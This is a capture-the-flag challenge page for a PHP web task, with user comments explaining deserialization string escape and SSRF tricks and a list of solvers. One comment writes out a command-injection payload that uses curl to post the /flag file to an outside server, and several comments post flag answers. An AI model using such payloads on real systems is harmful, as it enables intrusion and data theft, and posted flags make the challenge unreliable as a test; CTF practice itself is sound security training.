newphpWEB 未解决

分数: 35 金币: 3
题目作者: xluo
一  血: lastsward
一血奖励: 3金币
解  决: 996
提  示:
描  述:
flag{}
评论
givemeflag 4月前

flag{78dc400b390a50ed0009062015da1c8f}

回复 0

LLTVLL 5月前

不会,借鉴了writeup

回复 0

loulegedadong 5月前

这个讲的很清楚https://blog.csdn.net/m0_52061428/article/details/136293623

回复 0

老渡真的不懂 1年前

我真的人傻了,为什么'\0\0\0'是六个字符而不是三个?难道没有转义吗?为什么.cgi文件那里要加个空格?有大佬能解释下吗?

回复 0
buggggg 1年前

因为\和0是分开的两个字符串,没有转义;加一个空格是因为这里发送请求使用的curl,加完空格就能同时请求这两个url

回复 0

XRain 1年前

file:///flag 可以,我用了另一种方法:?name=123||curl -X POST -F x=@/flag http://x.x.x.x:2333/,在自己的 vps 用 nc 监听,就能接收到发送过来的请求报文,不知道这样也可以,看起来可以执行命令,但好像很多命令都执行失败了。

回复 1

mykali 1年前

flag{fb59b8a9a71cc0b34ca26905db6c520b}

回复 0

wxy1343 1年前

flag{0af3dab81edb60a93d4a173cf3070b25}

回复 0

jack12138 2年前

后边的字符逃逸和ssrf我都知道,但是为什么一定要逃逸呢,直接输序列化字符串为啥不行,没有弄清楚,跟read跟write有关是么?read和write那几句话是啥意思,有没有大佬帮忙解答一下呢

回复 0
chaojiikun 5天前

你在自己写的文件里可以直接给username赋值evil的对象,但是对象无法打印,你没办法给username传evil对象,你传的只是字符串

回复 0

ch1n 2年前

第三:要反序列化evil类只能通过字符串逃逸,将序列化好的evil类字符串变成user类的一个新属性(PHP可以反序列化类中不存在的属性)。

回复 2

ch1n 2年前

第二:反序列化接收的是user类的username和password属性序列化好的字符串,而读hint.php的操作是在evil类中进行的,直接传入序列化好的evil类字符串的话相当于给user类的属性赋值,跟evil类无关,所以不能直接输入evil类序列化好的字符串。

回复 3

ch1n 2年前

第一:write和read的作用是将传入的"\0\0\0"替换为"chr(0)*chr(0)",由6字符位变为3位,会造成字符串逃逸的隐患。

回复 2

Archer7 2年前

index.cgi/?name= file:///flag

回复 0

lysandria 2年前

挺难的。ssrf的header头可以用空格逃逸。

回复 1

WriteUp

image
M1kael

6 金币

评分(3)

解题动态

mps11 攻破了该题 5天前
chaojiikun 攻破了该题 5天前
mushmush 攻破了该题 6天前
yhyyhy 攻破了该题 8天前
18244339938 攻破了该题 9天前
huaji48254 攻破了该题 18天前
tfios 攻破了该题 24天前
无122 攻破了该题 25天前
yanzhenfeng 攻破了该题 25天前
z723622533 攻破了该题 28天前
mmmiao 攻破了该题 29天前
土豆班长 攻破了该题 1月前
18283162726 攻破了该题 1月前
PDXX 攻破了该题 1月前
sarfa 攻破了该题 1月前
ssoocc 攻破了该题 1月前
15119170888 攻破了该题 1月前
dehuiedsww 攻破了该题 1月前
海宝宝哈哈 攻破了该题 1月前
rookiee 攻破了该题 1月前
问题反馈